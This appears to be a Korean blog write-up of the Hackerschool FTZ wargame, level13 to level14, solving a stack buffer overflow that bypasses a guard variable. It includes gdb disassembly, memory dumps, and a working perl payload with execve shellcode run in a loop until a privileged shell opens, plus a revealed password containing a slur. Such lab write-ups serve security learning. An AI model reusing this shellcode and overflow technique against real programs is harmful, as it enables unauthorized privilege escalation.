본문 바로가기

System Hacking/해커스쿨 FTZ

해커스쿨 FTZ ( level13 -> level14 ) by ORANG

FTZ_level13


[level13@ftz level13]$ bash2

[level13@ftz level13]$ cat hint

 

#include <stdlib.h>

 

main(int argc, char *argv[])

{

   long i=0x1234567;

   char buf[1024];

 

   setreuid( 3094, 3094 );

   if(argc > 1)

   strcpy(buf,argv[1]);

 

   if(i != 0x1234567) {

   printf(" Warnning: Buffer Overflow !!! \n");

   kill(0,11);

   }

}

 

먼저 bash2를 띄우고, 힌트를 확인해보니 역시 BOF문제네요 

long형 변수 i를 두고 값이 조작될시에 BOF를 감지하고 종료하는것 같습니다.

그렇다면 i부분을 0x1234567로 덮어씌어줌으로 우회하면 되겠네요ㅎㅎ

gdb로 분석후 메모리 구조를 그려보겠습니다.

 

 (gdb) disas main

Dump of assembler code for function main:

0x080484a0 <main+0>: push   %ebp

0x080484a1 <main+1>: mov    %esp,%ebp

0x080484a3 <main+3>: sub    $0x418,%esp

…생략…

0x080484d4 <main+52>: pushl  (%eax)

0x080484d6 <main+54>: lea    0xfffffbe8(%ebp),%eax

0x080484dc <main+60>: push   %eax

0x080484dd <main+61>: call   0x8048390 <strcpy>

0x080484e2 <main+66>: add    $0x10,%esp

0x080484e5 <main+69>: cmpl   $0x1234567,0xfffffff4(%ebp)

0x080484ec <main+76>: je     0x804850d <main+109>

 

 

0x418( 10진수로 1048 ) 크기 만큼 메모리를 확보하네요

main+69를 보면 i 의 시작 주소가 ebp로부터 -12인 곳이라는걸 알수있습니다.

i의 메모리 크기가 4이므로, i와 SFP 사이의 dummy 크기는 8, buf와 i 사이의 dummy 크기는 12가 되겠네요

메모리 구조를 그려보면..

 

RET [4]

SFP [4]

dummy [8]

i [4]

dummy [12]

buf[ 1024]

이 되겠네요ㅎㅎ 그럼 이제 buf의 시작 주소를 찾아보겠습니다.

 

 (gdb) b * main+66

Breakpoint 1 at 0x80484e2

(gdb) r

Starting program: /home/level13/tmp/attackit

 

Program exited with code 0377.

(gdb) r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Starting program: /home/level13/tmp/attackit AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

 

Breakpoint 1, 0x080484e2 in main ()

(gdb) x/100x $esp

0xbffff120: 0xbffff130 0xbffffbaa 0x00000000 0x00000000

0xbffff130: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffff140: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffff150: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffff160: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffff170: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffff180: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffff190: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffff1a0: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffff1b0: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffff1c0: 0x41414141 0x00414141 0x40015a38 0x40015360

0xbffff1d0: 0x00000000 0x00000000 0x0804968c 0x40015a38

0xbffff1e0: 0x00000000 0x400169e0 0xf7aa4c0b 0x00009a39

 

 

strcpy 함수에의해 argv[1]이 buf에 복사되는 직후(main+66)에 브레이크포인트를 걸어주고

buf 의 시작 주소를 찾아냈습니다. 0xbffff130 이군요!!

 

필요한 정보는 다 모은것 같습니다. 정확한 메모리 계산이 가능해졌네요

‘nop+셸코드 (1036바이트) + i (0x1234567) + 쓰레기값(12바이트) + 셸코드 주소’를 인자로 전달하겠습니다.

 

이전 문제들과 마찬가지로 랜덤스택 문제를 우회하기 위해 반복을 통해 공격해보겠습니다.

 

 [level13@ftz level13]$ while  [ 1 ]; do ./attackme `perl -e 'print "\x90"x1000, "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80","\x90"x11, "\x67\x45\x23\x01", "\x90"x12, "\xb0\xf1\xff\xbf"'`; done

세그멘테이션 오류

세그멘테이션 오류

세그멘테이션 오류

세그멘테이션 오류

세그멘테이션 오류

세그멘테이션 오류

세그멘테이션 오류

세그멘테이션 오류

세그멘테이션 오류

세그멘테이션 오류

세그멘테이션 오류

sh-2.05b$ id

uid=3094(level14) gid=3093(level13) groups=3093(level13)

sh-2.05b$ my-pass

TERM environment variable not set.

 

Level14 Password is "what that nigga want?".

 

 

level14의 셸이 떳네요ㅎㅎ level15로 넘어가보겠습니다~